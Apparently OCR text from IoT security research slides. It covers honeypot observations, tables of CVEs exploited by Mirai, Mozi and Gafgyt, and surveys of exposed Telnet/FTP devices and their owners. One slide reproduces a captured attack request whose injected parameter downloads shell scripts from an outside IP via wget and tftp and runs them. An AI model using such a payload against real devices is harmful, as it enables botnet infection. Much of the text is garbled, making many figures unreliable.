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Yin Minn Pa Pa, Shogo Suzuki, Katsunari Yoshioka, and Tsutomu Matsumoto, Takahiro Kasama, Christian Rossow, "loTPOT: Analysing the Rise of loT

Compromises," 9th USENIX Workshop on Offensive Technologies (USENIX WOOT 2015), 2015.
Yin Minn Pa Pa, Suzuki Shogo, Katsunari Yoshioka, Tsutomu Matsumoto, Takahiro Kasama, Christian Rossow "loTPOT: A Novel Honeypot for Revealing

Current loT Threats," Journal of Information Processing, Vol. 57, No. 4, 2016.
Seiya Kato, Rui Tanabe, Katsunari Yoshioka, Tsutomu Matsumoto, "Adaptive Observation of Emerging Cyber Attacks targeting Various loT Devices,"
IFIP/IEEE International Symposium on Integrated Network Management (IM), 2021.
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Year # Occurrences # Exploits

# Vulnerabilities

2017 46 10
2018 727 15
2019 376 26
2020 1,855 58

8
15
27
63

SE Hf&%0->2020%

FZHEITEIZZLDIETHENE
ISNBDEIIZHE-TULNS (20174

¥&Ehn

F63FEFATRAN)

Arwa Abdulkarim Al Alsadi, Kaichi Sameshima, Jakob Bleier,
Carlos H. Ganan, "No Spring Chicken: Quantifying the Lifesp
Analysis," The 17th ACM ASIA Conference on Computer anc

Device Categor URLhaus Honeypot Genealog Total
Router 461 1,342 610 2,413

Home security 93 219 78 390
Web application 36 38 32 106
Web server 22 10 - 32
TV 7 2 - 9
NAS 27 27 - 54
Total 646 1,638 729 3,004

M

HEHHONSHEFTFEDSEIE
)L—A3

Katsunari Yoshioka, Martina Lindorfer, Michel van Eeten,
an of Exploits in IoT Malware Using Static and Dynamic
Communications Security (ACM ASIACCS 2022), 2022.



Type Vulnerability Vuln. Exploit Families Manufacturer Target Device UHG # of
Published Published Samples
RCE CVE-2009-0545; CVE-2019-12725 *  2009-02-12; 2009-02-09 § Mirai Zeroshell Linux Distribution o 2
2019-06-04
Netgear DGN1000 RCE 2013-06-05 2013-06-05 | Mirai, Mozi, Gafgyt Netgear DGN1000 Netgear routers o000 107
Linksys E-series RCE 2013-07-02  2014-02-16 | Mirai, Gafgyt Cisco Linksys routers E-series 00 150
Edimax EW-7438RPn-v3 RCE 2015-07-17  2015-07-17 | Mirai Edimax EW-7438RPn-v3 O 4
Multi-vendor CCTV/DVR RCE 2016-03-23  2016-03-23 § Mirai, Mozi, Gafgyt Multi-vendor Multi-vendor CCTV/DVR o000 79
NUUO NVRmini RCE 2016-08-06 2016-08-06 f§ Mirai NUUO NUUO NVR 00 4
Xfinity Gateway RCE 2016-12-02 2016-12-02 § Mirai Xfinit Xfinity Gateway O 3
CVE-2017-(8221-8225) * 2017-04-25 2017-03-08 | Mirai GoAhead GoAhead IPcam O 3
EnGenius IoT GCS1.4.11 RCE 2017-06-04 2017-06-04 § Mirai EnGenius EnGenius IoT Cloud Service 00 3
CVE-2017-14135 2017-09-04 2017-07-03 § Mirai Dream Property Opendreambox O 1
CVE-2017-14127; CVE-2019-18396 * 2017-09-04; 2019-11-13 |} Mirai Technicolor Technicolor TD5336 00 5
2019-10-24
Vacron NVR RCE 2017-10-22 2017-10-08 § Mirai, Mozi Vacron Vacron NVR devices (X X ] 26
Shenzhen TVT RCE 2018-04-03 2018-04-09 § Mirai Shenzhen TVT  Shenzhen TVT DVR/NVR/IPC O 3
CVE-2018-10561; CVE-2018-10562 * 2018-04-30 2018-05-03 | Mirai, Mozi, Gafgyt Dasan GPON Home Routers o0 0 259
CVE-2018-11510 2018-05-28 2018-08-15 Mirai ASUSTOR ASUSTOR NAS O 1
HomeMatic Zentrale CCU2 RCE 2018-07-18 2018-07-18 | Mirai HomeMatic HomeMatic Zentrale CCU2 O 3
CVE-2018-15887 2018-08-26 2018-08-02 | Gafgyt ASUS ASUS DSL-N12E_C1 O 6
CVE-2018-17173 2018-09-18 2019-05-06 § Mirai LG LG Supersign EZ CMS TV (DX B 9
CVE-2018-20062; CVE-2019-9082 *  2018-12-11; 2019-01-143 Mirai, Singletons ThinkPHP v-5.0.23/5.1.31 Server Q0 21
2019-02-24  2020-04-16
CVE-2019-2725 2018-12-14 2019-05-08 § Mirai Oracle Oracle WebLogic Server O 1
CVE-2019-7276 2019-01-31 2019-11-12 § Mirai Optergy Optergy 2.3.0a O 3
CVE-2019-10655 2019-03-30  2019-03-31 § Mirai Grandstream GAC2500; GVC3202; GXV3275-40; GKP2200 * O 3
CVE-2018-20841 2019-06-11  2019-01-14 § Mirai HooToo HT-TM05&HT-05 routers O 1
Sar2HTML 3.2.1 RCE 2019-08-02 2019-08-02 § Mirai Sar2HTML Sarzhtml 3.2.1 O 3
CVE-2020-9054 2020-02-18  2020-02-24 | Mirai Zyxel Zyxel NAS and Firewall 00 6
Netlink GPON Router 1.0.11 RCE 2020-03-18 2020-03-18 | Mirai Netlink GPON  Netlink GPON Router 1.0.11 O 58
Symantec SWG 5.0.2.8 RCE 2020-04-09  2020-04-09 § Mirai Symantec Symantec Web Gateway 5.0.2.8 00 34
Netgear R7000 RCE 2020-06-15 2020-06-15 Mirai Netgea Netgear R7000 O 2
CVE-2019-16759; CVE-2020-17496 * 2019-09-24; 2020-08-12 | Mirai vBulletin 5.x Servers using vBulletin 5.x @ 2
2020-08-12
Backdoor  CVE-2014-2321 2014-03-10  2014-03-03 §| Tsunami ZTE F460 and F660 O 2
Xiaongmai-based DVR/NVR/IPcam  2020-02-04 2020-02-04 § Mirai, Gafgyt {ulti-vendor DVR/NVR/IPcams O 31

"%’ indicates that this entry consIsts Of vumnerapmities that are targeted by the same exploit code or vice versa
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Type Vulnerability Vuln. Exploit UHG # of
Published Published Samples

CMDi CVE-2014-8361 * 2014-10-20  2015-06-01 § Mirai, Mozi, Gafgyt D-Link D-Link Routers using Realtek SDK o000 272
CVE-2014-9094 2014-11-26  2014-07-13 | Mirai WordPress WordPress Plugin DZS-VideoGaller ¢ © 35
CVE-2015-2051 2015-02-23  2015-06-01 § Mirai, Mozi, Gafgyt D-Link D-Link DIR-645 (X N ] 93
AVTECH IPCam/NVR/DVR CMDi  2016-10-11 2016-10-11 § Mirai AVTECH AVTECH IPcam/NVR/DVR 00 69
CVE-2016-10372 2016-05-16  2016-11-08 § Mirai, Mozi, Gafgyt Zyxel Eir D1000 Router (rebranded Zyxel) 00 78
CVE-2016-6277 2016-07-22 2017-03-13 | Mirai, Mozi, Gafgyt Netgear Netgear R7000 and R6400 o000 41
NUUO OS CMDi 2016-08-06 2016-08-06 | Mirai NUUO NUUO NVRmini 2 3.0.8 O 3
MV Power Shell CMDi 2017-02-27 2017-02-27 § Mirai, Mozi MV Power MVPower DVR TV-7104HE 1.8.4 0 168
CVE-2017-6884 2017-03-14 2017-04-02 § Mirai Zyxel EMG2926 Router © © 39
CVE-2017-18368 2019-05-02  2016-12-26 | Mirai, Singletons, Gafgyt Zyxel Zyxel P660HN-T routers 00 77
CVE-2017-17215 2017-12-04  2017-12-25 ) Mirai, Mozi, Gafgyt, Singleton] Huawei Huawei home routers HG532 o000 921
CVE-2018-7841 2018-03-08 2019-05-14 § Mirai U.motion U.motion software v.1.3.4 O 4
D-Link DSL-2750B OS CMDi 2018-05-25 2018-05-25f Mirai D-Link D-Link DSL-2750B o000 241
SonicWall GMS-XMLRPC CMDi 2018-08-01 2018-08-01 § Mirai SonicWall SonicWall GMS 00 1
CVE-2018-19276 2018-11-14 2019-12-18 | Mirai OpenMRS OpenMRS before 2.24.0 00 5
CVE-2019-7256 2019-01-31 2019-11-12 § Mirai Linear Linear eMarge E3 series O
CVE-2019-12489 2019-05-30  2019-11-13 | Mirai Fastweb Fastweb Fastgate 0.00.81 O 3
CVE-2013-7471 2019-06-11 2013-09-17 | Mirai, Mozi, Gafgyt D-Link D-Link DIR-645 o000 29
CVE-2019-14931 2019-08-10 2019-08-13 § Mirai Mitsubishi Mitsubishi smartRTU& INEA ME-R O ¥ |
CVE-2020-1956 2019-12-02  2020-06-20 § Mirai Apache Apache Kylin 2.3.0-2.6.5,3.0.1 O 4
CVE-2019-19824 2019-12-16 2015-07-16 § Mirai TOTOLINK TOTOLINK Realtek SDK routers O 7
CVE-2020-5722 2020-01-06  2020-03-24 § Mirai Grandstream Grandstream UCM6200 series [ 0K ] 5
CVE-2020-7209 2020-01-16  2020-05-17 § Mirai HP LinuxKI HP LinuxKI-v6.01 @) 3
CVE-2020-10173 2020-03-05 2020-02-27 | Mirai Comtrend Comtrend VR-3033 00 5
CVE-2020-13786 2020-06-03  2020-06-12 § Mirai D-Link D-Link DIR-865L Ax1.20B01 O 7

Buffer OF CVE-2016-4429 2016-05-02  2016-05-18 § Singletons Qualcomm Qualcomm Server O 5
CVE-2019-7405 2019-02-05 2019-12-16 § Mirai TP-Link TP-Link Archer C5-v4 routers &) 4

WAF Bypass Cloudflare WAF Bypass 2017-04-04  2016-10-25 | Mirai, Gafgyt \CloudFlare CloudFlare WAF © © 37

Brute Force Dictionary Attack - - Mirai, Mozi, Singleton - (X X ] 5,631

Tsunami, Gafgyt, xorddos
Total 5941 16

’x’ indicates that this entry consists of vulnerabilities that are targeted by the same exploit code or vice versa
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AX POT observed new attack A
Path: t ing/lib/1cepay y
Timestamp: 2024-02

Source IP: 111
IPinfo:

Payload:

GET /mbill /1ib/1icepay/icepay.php?

democ=;C { ¥20htt 1.90.149.114/C1 ns 20chmod¥2 b .S %2@0Ciabins.sh;¥%
20t ftp%20 .114%20-c%20ge t . 1%2 pl.sh;%20sh¥2@Ciatft sh; %20t ftpx20-
r¥20Ciatftp2. 0-g%20111.90.149.11¢ I A777%20C1Latftp2. sh;%2@sk -

rf%2ec - 1atftpl.sh¥20Ciatftp2.sh;%20rm¥20-%20*; HTTP/1.1

Host: : .40

Accept:

Accept-Encoding: gzip, deflate

Connection: keep-alive

User-Agent: python-httpx/0.26.0

@

hR R
CVE-2023-30258
OSSDVolPH—/\—
2023/06/23 NVD 22 B8

& ©
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[1]https://blogs.jpcert.or.jp/ja/2021/09/sigmon72.html
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NIC | X.100.1
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X.100.11 X.100.12 X.100.13 xwom x1oo15 X.100.2
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LAN port Eth port Eth port WAN port WAN port
(L—%) (NAS) (PHA3)  (L—%) UL—%)

H3: WMEEA AT LDORYNT—IFERK

Device ID | 1 2 3 4 5 6 7 8 9 10 11 12

Device Vendor [ Billion QNAP Dahua ZyXEL  ASUS ZTE  D-Link opengear Ubiquiti Synology  Hikvision NETGEAR

Information Category Router  NAS [P Camera Router Router  Router Router  Router  Access Point NAS [P Camera Router
CPU mips  x86-64 armv5l mips armv7l mips mips armv7l mips armv8l armv5l mips
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1st notification
2021/Nov./[1~2021/Nov./19
—t—

1st scan 2nd scan weekly scans (3rd~9th)

2nd notification
2021/Jun./1~2021/Jun./9
=

10th & 11th scans 12th & 13th scans 14th & 15th scans
2021/Jul./21 2021/Sep./16 2021/Nov./10~2021/Dec./22 2022/Apr./20, 2022/Apr./27  2022/Jun./29, 2022/Jul./6 2022/A ug./3 AM, PM
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REN-HEFDOBR(DYINITHEIFERN)

Device Type Telnet Telnet FTP
or FTP Kxys S = -
FRDLZHDHERT
Smart card reader 5? ( 2) 53( 2) 53¢ 2) Te|nettFTP7f)§§)]1’|E
Printer/Multi-function printer 38 (27) 21 (16) 36 (25)
Electric current monitor 13 ( 2) 13 ( 2) Ll 1y
Display controller 11(1) 0(0) 11€ L) AX—kH—F IJ_Q < 1)
NAS 11 (10) 1 A} 10 (10) . A o v =
Announcement broadcast system 8( 1) 0(O0) (1) /9\ *E [mm *’%Ij%s EEJILAT «
Data logger 6(2) 0(0) 6(2) — P N =
Earthquake early warning system 6(2) 6{ 2) 00 T4ZZ l/,r:‘/J\D .735:
L2 switch 5( 2) 5( 2) 0(0 NAS, T—A0O7—, HhE
Wireless LAN access point 4 ( 2) 4(2) 00 > Q> — “
LUPS 4 ( 2) 4( 2) i€ 1 E#&/XTA\\ sz,rja—_s
L:’Vire]ess LA-N controller 3 }) 8 ( 8) : ( i) UPS. I;f\)[,ﬂ"——:E:/jl—\
nergy monitor 3(1) ( 0) 3% Iy s 1ol B s
Router 3( 1 3(1) 0(C0 7:%& gﬁf&%ﬁb\%ﬁé
Network adapter for printer 2 2) 2L 2) 26 2) ;hj’:
Web camera 2(2) 1 (1) 2€ 2)
Black and white printer 2( 1) 0(0) 24& 1)
Paperless recorder 1 (1) 0(0) '€ 1)
HPLC controller™ 1 (1) 1 (1) 0C0)
Web conferencing system 1 (1) 1 (1) 00
Power supply Control 1 (1) 1 (1) 0(0)
Backup storage 1 (1) 0(0) 1C1) . 1) e
F BB FTHIBALL
Total (IoT devices identified model No.) 179 (66) 116 (36) 150 (52)

* High-Performance Liquid Chromatography (HPLC) controller

1798 [CEET R

Takayuki Sasaki, Takaya Noma, Yudai Morii, Toshiya Shimura, Michel van Eeten, Katsunari Yoshioka, and Tsutomu Matsumoto, "Who Left the
Door Open? Investigating the Causes of Exposed loT Devices in an Academic Network," Proc. 45th IEEE Symposium on Security and Rtivacy
(IEEE S&P 2024), 2024.



MR DFTEE (FIAE) L Telnet/FTPIZDULNTERHE L TLVER LY

Default setting Owner’s awareness of each device
Telnet FTP
Unaware Aware Unaware Aware
Enabled by default 42 ] 61 8
Disabled by default 2 ] 13 3

Telnet/FTPMT 74 IILETEIEL TWAIZEND DO LT . £
DEMEZZFHL TGO ER (FIAE) N EEBIIZZ0

Takayuki Sasaki, Takaya Noma, Yudai Morii, Toshiya Shimura, Michel van Eeten, Katsunari Yoshioka, and Tsutomu Matsumoto, "Who Left the
Door Open? Investigating the Causes of Exposed loT Devices in an Academic Network," Proc. 45th IEEE Symposium on Security and Rfilacy
(IEEE S&P 2024), 2024.
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Owner's answer
to 1st questionnaire

Willingness to take
measures
in 1st questionnaire

Port status
after 1st notification

Port status
after 2nd notification

Open

Why?

xRt N
(38%/48%)

Closed

How?
I

Already taken Stopping Closing
measures

usage port

(99%/98%)

Answered

wETEY
(62%/52%)

Not willing

Why?

loT Device running Telnet, FTP

Not answered

T L
(EIETELL
(85%/88%)

Insecure device spec.
Interfering with works
Forgot password

Not knowing how

Not knowing influence
Already taken measures
Already stopped using
Under consideration
Other

No answer

CRY YL

Closed

Y
o

EREL (ot

(49%/31%) (24%/39%)
| Howwrs
Stopping Replace Closing
usage device port

Other

Filtering

R—KMMELE LERTI4ILE
(20%/22%)

communication

Open

Other

1.0 )

Loz J(o2 (23]

[20,20] [ 1,2 | [10,25]

(8,14 ] [ 2,3 ]

Takayuki Sasaki, Takaya Noma, Yudai Morii, Toshiya Shimura, Michel van Eeten, Katsunari Yoshioka, and Tsutomu Matsumoto, "Who Left the
Door Open? Investigating the Causes of Exposed loT Devices in an Academic Network," Proc. 45th IEEE Symposium on Security and Rtiacy
(IEEE S&P 2024), 2024.
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TABLE 9. DESCRIPTIONS OF THE PURPOSE OF TELNET/FTP IN 10T
DEVICE MANUALS

Purpose of services Telnet Fir
Mentioned in manuals 10 36
Not mentioned in manuals 5 3
No description* 15 10
Total models 30 49

* No description of the service at all.
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Telnet: #Total device models = 22

. #Manufacturers = 10

Question

#Subject models(Manuf.)*

Manufacturers’ answers

Q1. Usage of Telnet

TelnetD{E 22 (10)
B9l ?

For management

Don’t know the purpose
of Telnet

Don’t know Telnet service
itself

=Default enabled
20 (10)

Enabled by default
Don’t know

Q3. Login credentials

BEOFEEENT) R

07 A fGHRE TS0

Disclosed 1n answer
Don’t know
Not disclosed to owners

Q4. Security measures

Not deployed
Don’t know

22 (10)
FEERAED
XElk?
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DEENEWNGENZL FIRB IR G LEOD %0
TelnetZ BB TEOTWLWAEEMNZLA., FB(ZIE
TelnetME{EL TLVSZEZERBL TLVGEWA—DEH S
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